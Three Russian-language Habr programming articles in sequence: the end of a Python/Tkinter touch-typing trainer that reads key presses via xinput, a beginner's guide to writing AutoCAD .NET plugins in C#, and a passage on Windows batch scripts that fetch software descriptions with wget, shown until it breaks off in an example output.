**Формат записей в keyboard.conf**В файле содержатся записи в виде:
[код кнопки]:"[строчной символ в английской раскладке],[заглавный символ в английской раскладке],[строчной символ в русской раскладке],[заглавный символ в русской раскладке]":[номер строки кнопки],[номер столбца кнопки]
Вот несколько записей для примера:
24:«q,Q, й, Й»:3,2
25:«w,W, ц, Ц»:3,3
26:«e,E, у, У»:3,4
27:«r,R, к, К»:3,5
Чтение символов с клавиатуры
----------------------------
Для чтения символов написан класс KeyboardStatus, который принимает входным параметром класс конфигурации (см. выше). Внутрь этого класса инкапсулирована потокобезопасная очередь [Queue](https://docs.python.org/2/library/queue.html).
Чтение символов с клавиатуры производится в два потока. Почему два — потому что на практике так оказалось проще. Один поток читает раскладку клавиатуры, второй нажатые кнопки. Оба потока порождаются через [Thread](https://docs.python.org/2/library/threading.html), в каждом потоке затем через [subprocess Popen](https://docs.python.org/2/library/subprocess.html) будет запущен соответствующий процесс чтения клавиш или раскладки. Для чтения выходного потока процесса используется [subprocess.PIPE](https://docs.python.org/2/library/subprocess.html#subprocess.PIPE). Как только текст пришел в поток выхода процесса, он читается, обрабатывается, и, если нужно, ставится в очередь [Queue](https://docs.python.org/2/library/queue.html):
**Код**
```
from subprocess import Popen
from subprocess import PIPE
import threading
...
def doReadingKeys(self):
self.myProcess=Popen('xinput list '+'|'+' grep -Po \'id=\K\d+(?=.*slave\s*keyboard)\' '+'|'+' xargs -P0 -n1 xinput test',shell=True,stdout=PIPE)
while self.proc_started:
symbol=self.myProcess.stdout.read(1)
if symbol in press_release_dict:
symbol_pressed=press_release_dict[symbol]
while symbol!='\n':
symbol=self.myProcess.stdout.read(1)
if symbol.isdigit():
symbol_index=symbol_index*10+int(symbol)
self.myQueue.put((symbol_index,symbol_pressed))
symbol_index=0
...
keysThread=threading.Thread(target=self.doReadingKeys)
keysThread.start()
...
```
Чтобы завершить поток используется переменная класса proc\_started. При закрытии главного окна программы она устанавливается в значение False, производится выход из цикла чтения, выполняется завершения процесса чтения клавиш через terminate, а затем wait — для того чтобы дождаться пока процесс завершился.
**Замечание**У данного подхода есть один недостаток — разблокировка(а значит и дальнейшее завершение потока и процесса) метода read, который внутри цикла не произойдет до тех пор, пока что-нибудь не считается с выходного потока процесса myProcess. Но на практике проблем из-за этого не возникало, так как нажимаем мы на кнопки часто.
Графический интерфейс
---------------------
Для того чтобы быстро сделать графический интерфейс использовался [Tkinter](https://docs.python.org/2/library/tkinter.html). Данный модуль позволяет легко работать с простыми графическими интерфейсами (окна, кнопки, галочки и т.п.). Класс окна GuiManager на вход, помимо других параметров, принимает класс конфигурации. Из неё берутся настройки кнопок, затем эти кнопки создаются и добавляются на главное окно программы.
**Код добавления кнопок**
```
from Tkinter import *
import tkFont
...
self.buttonFont=tkFont.Font(family=config.font_name,size=config.font_size)
self.boldUnderscoredButtonFont=tkFont.Font(family=config.font_name,size=config.font_size,weight='bold',underline=1)
for row_index in xrange(1,config.getNumOfRows()+1):
self.gui_rows[int(row_index)]=Frame(master)
self.gui_row_buttons[int(row_index)]=[]
for button_num in xrange(1,config.getNumOfKeysInRow(row_index)+1):
newButton=Button(self.gui_rows[int(row_index)])
if self.config.padx!=-1:
newButton.config(padx=self.config.padx)
if self.config.pady!=-1:
newButton.config(pady=self.config.pady)
if (row_index,int(button_num)) in config.key_pos_to_index:
self.gui_all_buttons[config.key_pos_to_index[(row_index,int(button_num))]] = newButton
self.gui_row_buttons[int(row_index)].append(newButton)
newButton.pack(side=LEFT)
self.gui_rows[int(row_index)].pack()
self.reconfigure_text_on_buttons(config,shift_pressed=0,lang=0)
...
```
При добавлении кнопок на форму попутно создаются словари с ключами номера строки и значениями — объектом [Frame](http://effbot.org/tkinterbook/frame.htm) в каждый из которых помещаются кнопки. Как видно из кода, кнопки формируются построчно, по завершении формирования строки виджет кладется в окно методом pack().
Помимо прочего, в класс добавлена функция processQueue, которая со стороны потока графического интерфейса достает из очереди кортежи (tuple) с событиями нажатых кнопок и изменяет внешний вид кнопок — «нажимает» их, «переключает раскладки» и «нажимает» кнопку shift:
**Обработка очереди со стороны графического интерфейса**
```
def processQueue(self):
while not self.queue.empty():
msg = self.queue.get(0)
if msg[0] == -1: # -1 message is for changing language
self.currentLang=int(msg[1])
if self.config.debug:
print "Changed lang!"
self.reconfigure_text_on_buttons(self.config,0,msg[1])
if msg[0] in self.gui_all_buttons:
if msg[0] in self.shift_key_codes:
self.reconfigure_text_on_buttons(self.config,msg[1],self.currentLang)
if msg[1]==1:
self.gui_all_buttons[msg[0]].config(relief=SUNKEN)
if self.sticky_key_behaviour:
if self.last_sticky_button!=msg[0]:
self.gui_all_buttons[self.last_sticky_button].config(relief=RAISED)
self.last_sticky_button=msg[0]
else:
if not self.sticky_key_behaviour:
self.gui_all_buttons[msg[0]].config(relief=RAISED)
if self.config.debug:
print msg
```
Класс GuiManager инкапсулирован внутрь класса ThreadedClient, который принимает на вход главный поток Tkinter и выставляет вызов функции разбора очереди каждые 20 миллисекунд:
**Класс, инкапсулирующий GuiManager**
```
class ThreadedClient:
def __init__(self, master):
self.master = master
self.config=ConfigManager()
self.keyTrainer=keyboardStatus(self.config)
keyTrainer=self.keyTrainer
master.protocol('WM_DELETE_WINDOW', self.kill_and_destroy)
self.guiManager=GuiManager(master,self.config,keyTrainer.myQueue,keyTrainer)
keyTrainer.begin_scan()
self.running = 1
self.periodicCall()
def kill_and_destroy(self):
self.running = 0
self.keyTrainer.stop_scan()
if self.config.debug:
print "Stopping scan..."
self.master.destroy()
def periodicCall(self):
self.guiManager.processQueue()
if not self.running:
# import sys
# sys.exit(1)
self.kill_and_destroy()
self.master.after(20, self.periodicCall)
```
Несколько картинок
------------------
Общий вид окна программы:
Нажата левая клавиша Alt:
Окно программы после перенастройки:
При наведении курсора мыши окно программы «уезжает» под заголовок (цвета, которые остаются на белом фоне — артефакты сжатия ролика):
Нажатие клавиши shift и переключение языка:
Заключение
----------
Что же получилось в итоге? А получилась неплохая программа для того, чтобы помогать людям учиться печатать вслепую на клавиатуре. Да, у нее есть недостатки и неэффективности, а именно:
* Запускаемые со стороны процессы с командами bash для чтения символов;
* Жестко заданные языки (только русский и английский);
* Квадратный интерфейс;
* Работает на Ubuntu и Linux Mint (MATE), на других дистрибутивах не опробована;
Код можно скачать/посмотреть здесь: [Ссылка на bitbucket](https://bitbucket.org/alien713cea/key_trainer/downloads)
Для работы программы необходим python 2.7 и Tkinter. Чтобы установить последний, необходимо выполнить команду:
```
sudo apt-get install python-tk
```
Запуск программы выполняется скриптом Start.sh из директории с программой.
Спасибо за внимание!
P.S. Поступил вопрос: сколько времени заняло написание программы? Времени было потрачено в общей сумме часов 6-8, после первых трех было активное тестирование и допиливались всякие детали.
UPD: убрал try/except из обработки очереди со стороны GUI | https://habr.com/ru/post/266441/ | null | ru | null |
# Создание плагинов для AutoCAD с помощью .NET API (часть 1 – первые шаги)
Hello, Habr!
Решил рассказать о своем опыте работы с AutoCAD. Может быть, кому-то это поможет – ну или хотя бы интересным покажется.
```
public static string disclaimer = "Автор не является профессиональным разработчиком и не обладает глубокими знаниями AutoCAD. Этот пост – просто небольшой рассказ о начальном этапе создания плагина.";
```
#### Предыстория
Началось все достаточно просто: в очередной раз почувствовав острую нехватку денег, я решил, что пора бы уже начать их где-нибудь разыскивать. И вот после пары недель поиска на «[Фрилансим](http://freelansim.ru/)» обнаружилась вакансия разработчика для создания программы, взаимодействующей с AutoCAD.
Скажу сразу: до того дня общаться с AutoCAD мне не доводилось. Однако объявление содержало в себе фразу «Опыт работы не требуется», которая наполнила мою душу надеждой. Я связался с разместившим вакансию человеком и получил тестовое задание.
Для пробы предлагалось создать на чертеже пару объектов, а также вывести текст. Несколько дней я искал информацию об API и пытался подружиться с непривычной программой. В конце концов фигуры были нарисованы, текст выведен, а тестовое задание отправлено на проверку. И через несколько дней я неожиданно узнал, что принят! Чудеса, да и только.
В следующих абзацах – мои впечатления, синяки и шишки, мысли и советы (возможно, вредные). Разработка велась под AutoCAD 2010, в качестве IDE использовалась верная Visual Studio 2013 Express. Язык разработки – C#.
#### 1. Подготовка необходимых инструментов
##### 1.1. Собственно AutoCAD
Тут все понятно. Качайте с [официального сайта](http://www.autodesk.ru/products/autocad/free-trial) Autodesk, ставьте, 30 дней наслаждайтесь прекрасным инструментом. Потом узнайте цену покупки ~~и повесьтесь~~. Для разработчиков действует специальная программа ADN, по которой можно получать девелоперские лицензии на продукты Autodesk. Стоимость базовой версии подписки, как указано на [сайте](http://www.autodesk.ru/adsk/servlet/index?id=22740266&siteID=871736), составляет от 700 долларов в год.
##### 1.2. ObjectARX SDK – набор библиотек, необходимых для работы с AutoCAD
Последние три-четыре версии библиотек можно бесплатно скачать [тут](http://www.objectarx.com/) после регистрации. Более ранние придется поискать – скажем, [тут](http://forums.autodesk.com/t5/programmirovanie-objectarx-arx/objectarx-sdk-starye-i-novye-versii/m-p/2923492#M47). На всякий случай продублирую список прямо здесь – не такой уж он и длинный:
**ссылки для загрузки ObjectARX SDK для версий AutoCAD 2000 – 2011**
| Версия SDK и ссылка для загрузки | Совместимость с версиями AutoCAD |
| --- | --- |
| [2011](http://download.autodesk.com/esd/objectarx/2011/ObjectARX_2011_Win_64_and_32Bit.exe) | 2011, 2012 |
| [2010](http://download.autodesk.com/akdlm/esd/dlm/objectarx/ObjectARX_2010_Win_64_and_32Bit.exe) | 2010, 2011, 2012 |
| [2009](http://download.autodesk.com/esd/objectarx/2009/ObjectARX_2009_Win_64_and_32Bit.exe) | 2009 |
| [2008 x86](http://download.autodesk.com/esd/objectarx/2008/ObjectARX_2008_32Bit.exe) | 2008, 2009 x86 |
| [2008 x64](http://download.autodesk.com/esd/objectarx/2008/ObjectARX_2008_64Bit.exe) | 2008, 2009 x64 |
| [2007](http://download.autodesk.com/esd/objectarx/2007/Arx_All.exe) | 2007, 2008, 2009 x86 |
| [2006](http://download.autodesk.com/WebPub/autocad/oarx2006/Arx_All.exe) | 2006 |
| [2005](http://download.autodesk.com/WebPub/Developer/autocad/Arx_All2005.exe) | 2005, 2006 |
| [2004](http://download.autodesk.com/WebPub/autocad/oarx/arx_sdk.exe) | 2004, 2005, 2006 |
| [2002](http://download.autodesk.com/pub/objectarx/objectarx_2002/K030.arx.plus.all.zip) | 2002 |
| [2000i](http://download.autodesk.com/pub/objectarx/acad2000i/objectarx.exe) | 2000i, 2002 |
| [2000](http://download.autodesk.com/ProdSupp/autocad2000/ObjectARXSDK.exe) | 2000, 2000i, 2002 |
| [R14](http://download.autodesk.com/Pub/developer/sdk/obarxsdk.exe) | R14 |
Лично меня в свое время очень заинтересовал вопрос обратной совместимости ObjectARX. Как-то раз заказчик спросил: «А с какими версиями AutoCAD сможет работать программа?», и мне пришлось изрядно времени потратить на поиски ответа. В целом, ответ звучит так: «Autodesk поддерживает обратную совместимость в течение трех лет». Какие версии совместимы между собой, можно посмотреть под спойлером выше.
Пока задачи перекомпилировать программу с другими библиотеками у меня не возникало. Думаю, что это хорошо: перспектива создавать отдельную версию продукта для других выпусков AutoCAD не радует совершенно.
##### 1.3. MS Visual Studio 2013 Express
Великолепная IDE! Больше про нее и говорить-то нечего. Ссылок для скачивания масса – например, [вот](http://www.microsoft.com/ru-ru/download/details.aspx?id=40787).
Можно, конечно, использовать и более ранние версии. Я начинал работу над проектом в MS Visual Studio 2010, но потом решил перейти на более современный выпуск.
##### 1.4. Поисковик, усидчивость, здравый смысл
У меня был не такой большой опыт программирования – я привык решать простые задачи, для которых за глаза хватало средств самой платформы .NET. И первое мое знакомство с программированием под AutoCAD вышло не очень простым. Неприятной неожиданностью оказалось то, что у классов для работы с AutoCAD:
* нет привычных всплывающих подсказок о назначении класса, свойства или метода;
* нет подробной справки.
В итоге информацию я черпал из файлов помощи Object ARX (у меня они установлены в папку с именем ***C:\ObjectARX 2010\docs***), а также из многочисленных форумов, блогов и сообществ разработчиков AutoCAD. Признаться, больше помогало последнее, чем первое. :)
В конце этой статьи приведен [список ресурсов](#References), на которых можно позадавать вопросы и, если повезет, получить на них ответы.
#### 2. Создание проекта библиотеки
Первые шаги вполне внятно описаны [здесь](http://habrahabr.ru/post/148844/). Владеющие английским могут попробовать зайти еще и [сюда](http://usa.autodesk.com/adsk/servlet/index?siteID=123112&id=18162797). Правда, в материалах по последней ссылке упор сделан на Visual Basic, плюс нужно будет установить «AutoCAD .NET Wizard» – шаблон проекта для создания плагинов под AutoCAD. Люди знающие говорят, что этот шаблон сильно упрощает жизнь; я же никогда им не пользовался, поэтому скромно промолчу.
Вкратце продублирую основные этапы:
##### 2.1. Создать проект «Библиотека классов» («Class Library»)
Если плагин предназначен для старой версии AutoCAD, то целесообразно сразу же задать в свойствах проекта версию .NET, которую будем использовать. Например, AutoCAD 2010 не может загружать плагины, созданные с использованием .NET Framework 4, поэтому я в качестве используемой версии указываю .NET Framework 3.5.
При понижении версии .NET Framework, используемой в проекте, могут появляться сообщения об ошибках. В моем случае Visual Studio ругается на отсутствие сборки «Microsoft.CSharp» – ее просто нужно исключить из ссылок (References).
##### 2.2. Добавить ссылки на необходимые библиотеки AutoCAD .NET API
На этом пункте стоит остановиться чуть подробнее. AutoCAD .NET API включает в себя достаточно большое количество классов, которые разнесены по разным пространствам имен (namespaces). В свою очередь, эти пространства имен разнесены по нескольким контейнерам (проще говоря, DLL-файлам).
Эти DLL-файлы находятся в папке с именем ***inc-<наименование\_архитектуры>***. Так, в моем случае я добавляю ссылки на библиотеки из папки ***C:\ObjectARX 2010\inc-win32***.
**NB:**у меня дома установлена 32-разрядная ОС, у заказчика – 64-разрядная. Пока серьезных проблем с совместимостью не возникало. Но однажды я все же напоролся на то, что у меня функция возвращала `Int32`, а у заказчика – `Int64`. Линковщик ОЧЕНЬ расстраивался. Нужно иметь эту особенность в виду.
Первое знакомство с API у меня заключалось в лихорадочных попытках скомпилировать хоть какой-нибудь из примеров, щедро разбросанных по Сети. И что ~~сλка~~ характерно, компилироваться они упорно не хотели, ругаясь на неизвестные пространства имен и классы. В попытках собрать свой первый проект я с горя включил в него чуть ли не все DLL-файлы, которые шли с ObjectARX. Плохой способ – так делать не надо.
**А как надо?**Ну, это вопрос не ко мне. Я только могу сказать, что в начале примеров обычно идет перечисление используемых пространств имен – скажем, так:
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using Autodesk.AutoCAD.Runtime;
using Autodesk.Windows;
```
То, что начинается со слова «Autodesk», – это и есть те ~~дроиды~~ пространства имен, которые мы ищем. Теперь осталось разыскать контейнеры, которые их содержат. Исчерпывающего перечня сопоставлений я найти не смог, поэтому все проверялось методом научного тыка. Если есть более правильный способ, было бы интересно его узнать…
А пока – вот список DLL-файлов, которые я использую в проекте, и содержащихся в них пространств имен:
Контейнер «AcMgd» (файл «AcMgd.dll»):
* Autodesk.AutoCAD.ApplicationServices
* Autodesk.AutoCAD.EditorInput
* Autodesk.AutoCAD.GraphicsSystem
* Autodesk.AutoCAD.Internal
* Autodesk.AutoCAD.Internal.Calculator
* Autodesk.AutoCAD.Internal.DatabaseServices
* Autodesk.AutoCAD.Internal.Forms
* Autodesk.AutoCAD.Internal.PreviousInput
* Autodesk.AutoCAD.Internal.PropertyInspector
* Autodesk.AutoCAD.Internal.Reactors
* Autodesk.AutoCAD.Internal.Windows
* Autodesk.AutoCAD.PlottingServices
* Autodesk.AutoCAD.Publishing
* Autodesk.AutoCAD.Runtime
* Autodesk.AutoCAD.Windows
* Autodesk.AutoCAD.Windows.Data
* Autodesk.AutoCAD.Windows.ToolPalette
Контейнер «AcDbMgd» (файл «AcDbMgd.dll»):
* Autodesk.AutoCAD.Colors
* Autodesk.AutoCAD.ComponentModel
* Autodesk.AutoCAD.DatabaseServices
* Autodesk.AutoCAD.DatabaseServices.Filters
* Autodesk.AutoCAD.Geometry
* Autodesk.AutoCAD.GraphicsInterface
* Autodesk.AutoCAD.GraphicsSystem
* Autodesk.AutoCAD.LayerManager
* Autodesk.AutoCAD.Runtime
Контейнер «AdWindows» (файл «AdWindows.dll»):
* Autodesk.Internal.InfoCenter
* Autodesk.Internal.Windows
* Autodesk.Internal.Windows.ToolBars
* Autodesk.Private.InfoCenter
* Autodesk.Private.SubAwareService
* Autodesk.Private.WebSearchService
* Autodesk.Private.Windows
* Autodesk.Private.Windows.ToolBars
* Autodesk.Private.WsCommCntrLib
* Autodesk.Windows
* Autodesk.Windows.Common.Utilities
* Autodesk.Windows.ToolBars
Контейнер «AcCui» (файл AcCui.dll»):
* Autodesk.AutoCAD.Customization
**NB:**имена многих классов AutoCAD .NET API совпадают с именами стандартных классов .NET, что не очень удобно. Например, если обратиться в коде к классу `Application`, то Visual Studio выругается на неоднозначность этого определения: класс с таким именем есть как в пространстве имен `System.Windows`, так и в пространстве имен `Autodesk.AutoCAD.ApplicationServices`. Чтобы не писать каждый раз полное имя, можно добавить в начало файла строку
```
using acadApp = Autodesk.AutoCAD.ApplicationServices.Application;
```
Теперь в любом месте этого файла можно вместо `Autodesk.AutoCAD.ApplicationServices.Application` писать `acadApp`.
Есть смысл провернуть такую операцию с наиболее часто употребляемыми классами. Непременно так делайте, код будет компактнее и понятнее. ~~Цинизм данного совета заключается в том, что к тому моменту, когда вы наконец поймете, какие же классы являются у вас наиболее часто употребляемыми, что-то менять будет уже сильно лень.~~
**Важный момент**: обязательно запретите копирование библиотек AutoCAD .NET API в каталог сборки при построении проекта! Для этого найдите в свойствах каждой добавленной ссылки параметр `CopyLocal` и установите его в `False`.
##### 2.3. Написать код плагина
```
using System.Windows.Forms;
using Autodesk.AutoCAD.Runtime;
namespace MyAutoCADDll
{
public class Commands : IExtensionApplication
{
// функция инициализации (выполняется при загрузке плагина)
public void Initialize()
{
MessageBox.Show("Hello!");
}
// функция, выполняемая при выгрузке плагина
public void Terminate()
{
MessageBox.Show("Goodbye!");
}
// эта функция будет вызываться при выполнении в AutoCAD команды «TestCommand»
[CommandMethod("TestCommand")]
public void MyCommand()
{
MessageBox.Show("Habr!");
}
}
}
```
Все очень просто. Вначале мы указываем необходимые пространства имен. Нам потребуются два.
В первом пространстве имен (`System.Windows.Forms`) хранится описание класса `MessageBox`, с помощью которого мы будем выводить сообщения. Чтобы сделать его доступным, необходимо добавить ссылку на одноименную сборку .NET.
Во втором пространстве имен (`Autodesk.AutoCAD.Runtime`) определены интерфейс `IExtensionApplication` и атрибут `CommandMethod`. Причем описание `IExtensionApplication` находится в файле **AcDBMgd.dll**, а описание `CommandMethod` – в файле **AcMgd.dll**, поэтому придется добавить ссылки на обе эти библиотеки.
Таким образом, всего необходимо добавить три ссылки:
---
**UPD. 09.04.2018.** Важное дополнение от [lasteran](https://habrahabr.ru/users/lasteran/): В новых версиях (предположительно начиная с AutoCAD 2013) класс `CommandMethod` содержится не в **AcDBMgd.dll**, а в **AcCoreMgd.dll**, так что придётся добавить ссылку ещё и на эту библиотеку. Учтите это, если работаете с новой версией!
Затем мы объявляем класс `Commands`. Именно он и будет «отправной точкой» плагина. Наш класс унаследован от интерфейса `IExtensionApplication`, поэтому в нем могут быть реализованы методы `Initialize` и `Terminate`. Первый из них автоматически выполняется при загрузке плагина, второй – при выгрузке.
**NB:**AutoCAD не предоставляет разработчику возможность выгрузить плагин после того, как он будет загружен. Поэтому реально метод `Terminate` будет вызываться только в одном случае – при закрытии самого AutoCAD.
Почитать поподробнее про методы `Initialize` и `Terminate` можно [тут](https://sites.google.com/site/bushmansnetlaboratory/moi-zametki/iextensionapplication) (rus) и [там](http://through-the-interface.typepad.com/through_the_interface/2006/09/initialization_.html) (англ.).
Наконец, мы объявляем функцию `MyCommand`, которая будет реализовывать команду AutoCAD. Она обязательно должна ничего не принимать на вход и ничего не возвращать на выходе (не знаю, откуда у меня взялось это убеждение, но оно есть). Внутри этой функции можно делать все, что заблагорассудится (в пределах разумного, конечно), причем есть возможность работать как с AutoCAD .NET API, так и со стандартными классами .NET. Например, можно создать обычную форму Windows с полями ввода, отобразить ее на экране с помощью `ShowModal()`, а затем на основе введенных пользователем данных внести изменения в открытый в AutoCAD чертеж.
Чтобы «превратить» созданный метод в команду AutoCAD, применяется атрибут `CommandMethod`. В скобках после него указывается имя создаваемой команды, которое можно будет использовать непосредственно в среде AutoCAD.
После сборки этого проекта у нас получится готовый к употреблению плагин.
##### 2.4. Загрузить созданный плагин
Нужно запустить AutoCAD и выполнить команду «NETLOAD»:
---
Затем в открывшемся окне указать путь к файлу плагина:
---
После этого плагин будет загружен в AutoCAD. Мы должны увидеть первое сообщение:
---
Если при загрузке плагина произошла критическая ошибка, она будет выведена в консоль AutoCAD:
Сообщения обычно понятные – помогут разобраться, если случай не сильно клинический. :)
**NB:**если плагин не смог загрузиться из-за ошибки, то перед тестированием очередного (исправленного) варианта нужно закрыть и заново запустить AutoCAD. В противном случае он может отказаться загружать плагин, даже если ошибок в коде уже не будет.
Теперь, когда плагин загружен, можно выполнить нашу тестовую команду:
---
… и увидеть результат:
Работает. Теперь можно закрывать AutoCAD.
**А как же…**Да – внимательный читатель, конечно, заметит, что при закрытии AutoCAD мы почему-то не увидим сообщения «Goodbye». Как уже говорилось выше, внутри функции «Terminate» можно сделать далеко не все. Но с ее помощью вполне получится, например, создать файл при закрытии AutoCAD.
##### 2.5. Отладить плагин (при необходимости)
Процедура запуска плагина для отладки очень хорошо расписана в [этом посте](http://habrahabr.ru/post/164305/) [Tepliuk](https://habrahabr.ru/users/tepliuk/).
#### Финал
Ну что же – для первого раза достаточно. Осталось привести обещанные ссылки. В [посте](http://habrahabr.ru/post/148844/) [Namolem](https://habrahabr.ru/users/namolem/) и [посте](http://habrahabr.ru/post/149546/) [n00buK](https://habrahabr.ru/users/n00buk/) уже приведен большой объем источников; часть из них я продублирую здесь.
1. <http://adn-cis.org/forum/> (rus) – форум **Сообщества программистов Autodesk в СНГ**. Один из лучших русскоязычных ресурсов среди всех мною встреченных в 2013-2014 годах. Сам я туда прихожу за советом, когда совсем припекает, – и не было пока случая, чтобы мне не помогли. Хотя я, конечно, стараюсь особо не злоупотреблять.
2. <http://forums.autodesk.com/t5/russkoe-soobshchestvo/bd-p/392> (rus) – официальные форумы Autodesk – раздел русского сообщества. Можно позадавать вопросы.
3. <http://forums.autodesk.com/t5/net/bd-p/152> (англ.) – официальные форумы Autodesk – раздел, посвященный .NET API. Тоже можно задать вопрос – правда, его могут и проигнорировать.
4. <http://through-the-interface.typepad.com> (англ.) – блог, который ведет **Kean Walmsley**, один из ведущих экспертов в разработке под AutoCAD. Ценнейший ресурс. Можно попробовать что-нибудь спросить у самого хозяина блога – и даже получить ответ, если тот будет в настроении. Впрочем, неинтересные (и простые) вопросы Kean часто игнорирует – или же предлагает вопрошающему поискать решение на официальном форуме ~~(см. рис. 1)~~.
5. <http://adndevblog.typepad.com> (англ.) – коллективный блог разработчиков из ADN. Порой бывает полезен.
6. <http://www.theswamp.org/index.php> (англ.) – еще один форум со множеством примеров и решений.
На этом моя статья закончена. Если ее признают годной – напишу еще несколько простых заметок о том, с чем сталкивался, как-то:
* [работа с лентой (Ribbon)](http://habrahabr.ru/post/243305/);
* работа со слоями;
* работа с динамическими блоками;
* реализация пользовательского ввода;
* взаимодействие плагина с внешним приложением.
Спасибо за внимание! | https://habr.com/ru/post/235723/ | null | ru | null |
# Получаем информацию о программе и загружаем ее через CMD (man и apt-get для Windows?)
В данной статье речь пойдет об очень простом и удобном способе для получения данных (информации) о программным обеспечении и загрузки/установки через CMD. Для реализации было использовано открытый API [Xetcom.Export](http://api.xetcom.com/export/description) и [Wget](http://gnuwin32.sourceforge.net/packages/wget.htm)1. К сожалению, API толком не документирован, но, с другой стороны, достаточно простой — можно понять суть после нескольких тестовых запросов. Сама сборка состоит из трех не зависящих друг от друга [.BAT файлов](http://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%BA%D0%B5%D1%82%D0%BD%D1%8B%D0%B9_%D1%84%D0%B0%D0%B9%D0%BB) и пакета Wget. Вооружитесь правами администратора и вперед.
Start
=====
Для начало советую немного поиграть с настройками интерпретатора, а если по конкретнее — настроить вид окна (Свойства > Расположение). Ширину и высоту размера буфера обмена часто путают с размером окна. Если вкратце, то это фактический максимальный размер прокрутки. Если текст не совмещается в ней, то автоматический переносится на следующую строку. Именно по этой причине кнопка Maximize в командной строке «не работает». Оптимальные параметры на мой взгляд — 150x300. Высота 300 означает 300 строк, после которого ранее записи исчезают. О настройках более-менее описано [тут](http://msdn.microsoft.com/ru-ru/library/cc737937%28v=ws.10%29.aspx). А еще, в качестве альтернативы советую попробовать [Console](http://sourceforge.net/projects/console/).
*Шрифт [Lucida Console вместо точечных](http://habrastorage.org/files/e10/8e0/882/e108e08824c94d53a993ec2b83eb7ae9.png).*
**Состав SFX архива:**
* [man.bat](#batman)
* [get.bat](#batget)
* [install.bat](#batinstall)
* wget.exe
* wget.ini
Все файлы архива распаковываются в папке %windir%. Это позволяет вызывать их напрямую — без указания пути и без регистрации пути в реестре. Последний вариант позволяет запускать программу независимо от расположения, но нужно о ее местонахождения сообщить реестру (ветка SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths). Точно так же работают системные утилиты calc, mspaint, ping и т. д. [Здесь](http://msdn.microsoft.com/en-us/library/windows/desktop/ee872121%28v=vs.85%29.aspx) подробно описано.
А теперь обо всём по-порядку.
**man.bat**
```
@ECHO OFF
CHCP 1251
%1
%2
CLS
SET title=%1
SET param=%2
IF "%title%" == "" (
ECHO Значение не указано
EXIT /B
)
IF "%param%" == "" GOTO none
IF "%param%" == "-c" GOTO c
IF "%param%" == "-m" GOTO m
IF "%param%" == "-l" GOTO l
IF "%param%" == "-f" GOTO f
GOTO error
:none
wget --quiet "http://api.xetcom.com/export/index.php?format=dos&title=%1&description=1&info=1&features=1" -O "%title%.txt"
TYPE "%title%.txt"
DEL "%title%.txt"
EXIT /B
:c
wget --quiet "http://api.xetcom.com/export/index.php?format=dos&title=%1&description=1&info=1&features=1&requirements=1" -O "%title%.txt"
TYPE "%title%.txt"
DEL "%title%.txt"
EXIT /B
:m
wget --quiet "http://api.xetcom.com/export/index.php?format=dos&title=%1&description=1&info=1&features=1&requirements=1&xetindex=1" -O "%title%.txt"
TYPE "%title%.txt"
DEL "%title%.txt"
EXIT /B
:l
wget --quiet "http://api.xetcom.com/export/index.php?format=dos&title=%1&description=1&info=1&features=1&requirements=1&xetindex=1&fileinfo=1" -O "%title%.txt"
TYPE "%title%.txt"
DEL "%title%.txt"
EXIT /B
:f
wget --quiet "http://api.xetcom.com/export/index.php?format=dos&title=%1&description=1&info=1&features=1&requirements=1&xetindex=1&fileinfo=1&competitors=tranformed" -O "%title%.txt"
TYPE "%title%.txt"
DEL "%title%.txt"
EXIT /B
:error
ECHO Указан неправильный параметр
```
**Демонстрация / вывод информации aimp**
Как вы заметили, у этого батника имеются параметры -c, -m, -l, -f (compact, medium, long, full соответственно). Если ввести команду без параметра, то вводится минимальная информация (описание программы + карточка + особенности). Каждый последующий параметр добавляет больше информации. Для наглядности см. примеры.
**Примеры**
##### Краткая информация Google Chrome
**man google-chrome**Описание: Google Chrome — наиболее быстро развивающийся браузер, во многом, благодаря открытому исходному коду Chromium, благодаря которому оперативно выпускает новые версии и при этом, быстро ликвидирует все имеющиеся уязвимости. Обозреватель имеет простой минималистичный дизайн, что облегчает интернет-серфинг, так как ничто не отвлекает пользователя от содержимого веб-страницы. Вкладки браузера являются изолированными, что одновременно с повышением надёжности работы браузера, делает посещение сайтов более безопасным. Chrome имеет встроенный движок JavaScript, значительно ускоряющий обработку скриптов и увеличивающий скорость работы в Интернете.
Разработчик: Google
Поддерживаемые форматы: HTML,HTM,SHTML,XHTML,TXT,TEXT,JPE,JPG,JPEG,GIF,MHTML,PNG,BMP,ICO,SVG,SVGZ,XML,PDF,SWF
Оф. сайт: google.com
Платный аналог: e-Capsule Browser
Русский язык: Имеется
Статус: Freeware
Исходники: Закрыты
Особенности:
— Единственное окно для решения большинства задач.
— Ярлыки приложений и динамические вкладки.
— Возможность безопасного просмотра сомнительных сайтов, а также наличие режима "инкогнито".
— Лёгкий процесс создания закладок, а также возможность их импорта из других браузеров.
— Высокая скорость работы и надёжность.
— Полностью автоматический процесс обновления.
##### Полная информация Google Chrome
**man google-chrome -f**Описание: Google Chrome — наиболее быстро развивающийся браузер, во многом, благодаря открытому исходному коду Chromium, благодаря которому оперативно выпускает новые версии и при этом, быстро ликвидирует все имеющиеся уязвимости. Обозреватель имеет простой минималистичный дизайн, что облегчает интернет-серфинг, так как ничто не отвлекает пользователя от содержимого веб-страницы. Вкладки браузера являются изолированными, что одновременно с повышением надёжности работы браузера, делает посещение сайтов более безопасным. Chrome имеет встроенный движок JavaScript, значительно ускоряющий обработку скриптов и увеличивающий скорость работы в Интернете.
Разработчик: Google
Поддерживаемые форматы: HTML,HTM,SHTML,XHTML,TXT,TEXT,JPE,JPG,JPEG,GIF,MHTML,PNG,BMP,ICO,SVG,SVGZ,XML,PDF,SWF
Оф. сайт: google.com
Платный аналог: e-Capsule Browser
Русский язык: Имеется
Статус: Freeware
Исходники: Закрыты
Особенности:
— Единственное окно для решения большинства задач.
— Ярлыки приложений и динамические вкладки.
— Возможность безопасного просмотра сомнительных сайтов, а также наличие режима "инкогнито".
— Лёгкий процесс создания закладок, а также возможность их импорта из других браузеров.
— Высокая скорость работы и надёжность.
— Полностью автоматический процесс обновления.
Системные требование:
Процессор: 2200 MHz
ОЗУ: 512 Мб
Жесткий диск: 100 Мб
Аудиокарта: Любая совместимая аудиокарта
Видеокарта: 64 Мб
Архитектура: x86 или x64
Система: Windows XP, Windows Vista, Windows 7, Windows 8
Индекс полезности:
Скорость: 100
Практичность: 100
Надежность: 100
Функциональность: 100
Информация о файле:
Тихая установка: /install
